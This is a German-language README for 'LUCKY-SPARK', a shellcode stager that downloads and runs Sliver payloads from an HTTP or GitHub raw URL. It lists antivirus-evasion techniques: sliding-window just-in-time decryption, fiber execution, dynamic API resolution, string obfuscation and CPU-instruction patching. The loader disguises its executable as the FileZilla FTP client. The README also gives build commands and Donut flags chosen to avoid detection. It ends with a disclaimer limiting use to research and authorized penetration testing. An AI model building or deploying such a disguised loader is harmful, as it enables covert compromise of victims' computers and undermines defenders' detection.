LUCKY-SPARK

⟪ LUCKY-SPARK ⟫ ist ein Stager, der für Shellcode-Payloads entwickelt wurde, die über http/https wie Sliver oder auf GitHub Raw bereitgestellt werden. Er verwendet moderne Verschleierungs- und Umgehungsmethoden wie die Just-in-Time-Entschlüsselung des Payloads mittels gleitendem Fenster sowie CPU-Instruktions-Patching. Standardmäßig erstellt er eine ausführbare Datei, die als FileZilla-FTP-Client getarnt ist.

Funktionen

• Gestaffelter Sliver-Payload-Loader Lädt einen Sliver-Payload von einem angegebenen Server herunter und führt ihn aus.
• JIT-Shellcode-Entschlüsselung Entschlüsselt nur ein gleitendes Fenster des Payloads, um die Belastung zu minimieren.
• Faserbasierte Ausführung Führt Shellcode innerhalb von Fasern (Fibers) aus, um die Tarnung zu verbessern und die Analyse zu erschweren.
• Dynamische API-Auflösung Auffällige oder leicht zu erkennende Windows-API-Funktionen werden zur Laufzeit dynamisch geladen.
• String-Verschleierung Sensible Zeichenfolgen (z. B. URLs, User-Agents) werden mit einer affinen Chiffre verschlüsselt und in der kompilierten Binärdatei verschleiert gespeichert.
• CPU-Instruktions-Patching Die AES-CPU-Instruktionen sind hinter unscheinbaren CPU-Instruktionen wie pmulqd versteckt und werden nach der Ausführung gepatcht.
• Automatische Tarnung Die EXE wird automatisch als FileZilla getarnt, inklusive korrektem Manifest, Versionsinformationen und Symbolen.
• Anpassbarer User-Agent Unterstützt die Angabe einer benutzerdefinierten User-Agent-Zeichenfolge für Netzwerkanfragen.

Installation

Klonen Sie das Repository oder laden Sie es herunter und stellen Sie sicher, dass make und mingw auf Ihrem System installiert sind.

git clone <repository_url>
cd LUCKY-SPARK

Verwendung

Interaktiv

Führen Sie das Skript zur Erstellung der Binärdatei aus.

./luckySpark.sh

Sie werden aufgefordert, die URL zu Ihrem gestaffelten Payload sowie optional einen User-Agent einzugeben.

Einzeiler

Kann in einer Zeile ausgeführt werden, um in Skripte eingebunden zu werden:

./luckySpark.sh -u https://github.com/GITHUBNAME/PAYLOADREPO/raw/refs/heads/main/PAYLOAD.bin -a "Mozilla/5.0"

Payload-Empfehlungen

Wenn Sie Donut oder Sliver (das Donut verwendet) einsetzen, empfehle ich diese Flags zur Erstellung des Payloads:

donut.exe -i examplePayload.exe -a 2 -e 1 -z 1 -b 1 -o payload.bin

Dies vermeidet auffälliges und geflaggtes Verhalten von Donut. Insbesondere die Umgehung von Donut wird ironischerweise stark geflaggt.

Loader ausführen

Dadurch wird eine Binärdatei filezilla.exe erstellt, die beim Ausführen den Payload abruft und ausführt.

Staging eines Payloads

Dieser Stager wurde für die Verwendung mit Sliver entwickelt. Stagen Sie einen Sliver-Payload wie hier beschrieben: Sliver Staging Verschlüsseln Sie den Payload nicht.

Aber jede auf http/https basierende Staging-Methode funktioniert. wie python3 -m http.server oder ein Payload, der in einem öffentlichen Repository auf github.com hochgeladen wurde.

Dieser Stager unterstützt NICHT das Meterpreter-Staging-Protokoll.

JITD mit gleitendem Fenster

Schritt 1: RIP erreicht Seite 0 und Seite 0 wird entschlüsselt
  Seiten:           [  D  |  E  |  E  | ... ]
  RIP ->              ^

Schritt 2: RIP erreicht Seite 1 und Seite 1 wird entschlüsselt
  Seiten:           [  D  |  D  |  E  | ... ]
  RIP ->                    ^

Schritt 3: RIP erreicht Seite 2 und Seite 2 wird entschlüsselt. Seite 0 wird verschlüsselt
  Seiten:           [  E  |  D  |  D  | ... ]
  RIP ->                          ^

So funktioniert es:

1. Wenn RIP eine geschützte Seite erreicht, entschlüsselt der VEH-Handler diese Seite.
2. Die älteste Seite im 3-Seiten-Fenster wird erneut verschlüsselt.
3. Nur die letzten beiden Seiten sind entschlüsselt, der Rest bleibt geschützt.
4. Dieses „gleitende Fenster“ bewegt sich mit RIP, während der Code ausgeführt wird.

Sicherheit & Haftungsausschluss

LUCKY-SPARK ist nur für Bildungszwecke, Forschung und autorisierte Penetrationstests bestimmt. Die unbefugte Verwendung gegen Systeme ohne Erlaubnis ist illegal und unethisch.